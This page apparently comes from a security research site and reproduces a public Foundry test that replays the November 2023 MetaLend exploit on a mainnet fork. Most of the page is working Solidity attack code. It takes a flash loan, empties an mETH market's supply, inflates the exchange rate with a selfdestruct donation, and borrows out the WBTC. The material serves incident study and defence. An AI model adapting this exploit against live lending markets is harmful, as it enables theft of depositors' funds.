Skip to content
THREATWIRE

Public reproduction file

src/test/2023-11/MetaLend_exp.sol

Public reproduction file for dataset entry MetaLend.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/MetaLend_exp.sol112 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "./../basetest.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$4K
8// Attacker : https://etherscan.io/address/0x0c06340f5024c114fe196fcb38e42d20ab00f6eb
9// Attack Contract : https://etherscan.io/address/0x80a6419cb8e7d1ef1af074368f7eace1ae2358ca
10// Vulnerable Contract : https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x4c684fb2618c29743531dec9253ede1b757bda0b323dc2f305e3b50ab1773da7
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b#code
16// @Analysis
17// Post-mortem :
18// Twitter Guy : https://x.com/MetaSec_xyz/status/1728424965257691173
19// Hacking God :
21contract MetaLendExploit is BaseTestWithBalanceLog {
22 IAaveFlashloan private constant Spark = IAaveFlashloan(0xC13e21B648A5Ee794902342038FF3aDAB66BE987);
23 Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
24 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
25 IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
26 ICointroller private constant Comptroller = ICointroller(0x0ee4b2C533ED3fFbd9f04CD7E812A4041bbE89f6);
28 uint256 private constant blocknumToForkFrom = 18_648_753;
30 function setUp() public {
31 vm.createSelectFork("mainnet", blocknumToForkFrom);
32 vm.label(address(Spark), "Spark");
33 vm.label(address(Router), "Router");
34 vm.label(address(WETH), "WETH");
35 vm.label(address(WBTC), "WBTC");
36 vm.label(address(Comptroller), "Comptroller");
37 }
39 function testExploit() public {
40 deal(address(this), 0);
41 emit log_named_decimal_uint("Exploiter WETH balance before attack", WETH.balanceOf(address(this)), 18);
43 Spark.flashLoanSimple(address(this), address(WETH), 100e18, bytes(""), 0);
45 emit log_named_decimal_uint("Exploiter WETH balance after attack", WETH.balanceOf(address(this)), 18);
46 }
48 function executeOperation(
49 address asset,
50 uint256 amount,
51 uint256 premium,
52 address initiator,
53 bytes calldata params
54 ) external returns (bool) {
55 WETH.withdraw(WETH.balanceOf(address(this)));
56 Helper helper = new Helper{value: 100 ether}();
57 helper.donateAndBorrow();
58 WETH.deposit{value: address(this).balance}();
59 WBTC.approve(address(Router), type(uint256).max);
60 WBTCToWETH();
61 WETH.approve(address(Spark), amount);
62 return true;
63 }
65 receive() external payable {}
67 function WBTCToWETH() private {
68 address[] memory path = new address[](2);
69 path[0] = address(WBTC);
70 path[1] = address(WETH);
71 Router.swapExactTokensForTokens(WBTC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000);
72 }
75contract Helper is Test {
76 IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
77 ICErc20Delegate private constant mWBTC = ICErc20Delegate(payable(0x0D8Df79195EC37C6cD53036f9F8eE0c24b23601E));
78 crETH private constant mETH = crETH(payable(0x5578f2E245e932a599c46215a0cA88707230F17B));
79 ICointroller private constant Comptroller = ICointroller(0x0ee4b2C533ED3fFbd9f04CD7E812A4041bbE89f6);
80 address private immutable owner;
82 constructor() payable {
83 owner = msg.sender;
84 }
86 function donateAndBorrow() external {
87 mETH.mint{value: 1 ether}();
88 uint256 reedemAmount = mETH.totalSupply() - 2;
89 mETH.redeem(reedemAmount);
90 Donator donator = new Donator();
91 donator.sendETHTo{value: address(this).balance}(address(mETH));
92 address[] memory mTokens = new address[](1);
93 mTokens[0] = address(mETH);
94 Comptroller.enterMarkets(mTokens);
95 uint256 underlyingWBTCAmount = mWBTC.getCash();
96 mWBTC.borrow(underlyingWBTCAmount - 1);
97 WBTC.transfer(owner, WBTC.balanceOf(address(this)));
98 mETH.redeemUnderlying(mETH.getCash() - 1);
99 (bool success,) = owner.call{value: address(this).balance}("");
100 require(success);
101 }
103 receive() external payable {}
106contract Donator is Test {
107 function sendETHTo(
108 address to
109 ) external payable {
110 selfdestruct(payable(to));
111 }

Analysis

Dataset entry

Public Foundry test for “MetaLend” (2023-11-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0c06340f5024c114fe196fcb38e42d20ab00f6eb

  • Attack Contract

    0x80a6419cb8e7d1ef1af074368f7eace1ae2358ca

  • Vulnerable Contract

    0x5578f2e245e932a599c46215a0ca88707230f17b

  • Attack Tx

    0x4c684fb2618c29743531dec9253ede1b757bda0b323dc2f305e3b50ab1773da7

File record

Name
MetaLend
Path
src/test/2023-11/MetaLend_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b782dc26b0407d7ae69270035c62af0f310cdf6f
Language
Solidity
Size
113 lines
Date
2023-11-25
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-11/MetaLend_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b782dc26b0407d7ae69270035c62af0f310cdf6f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.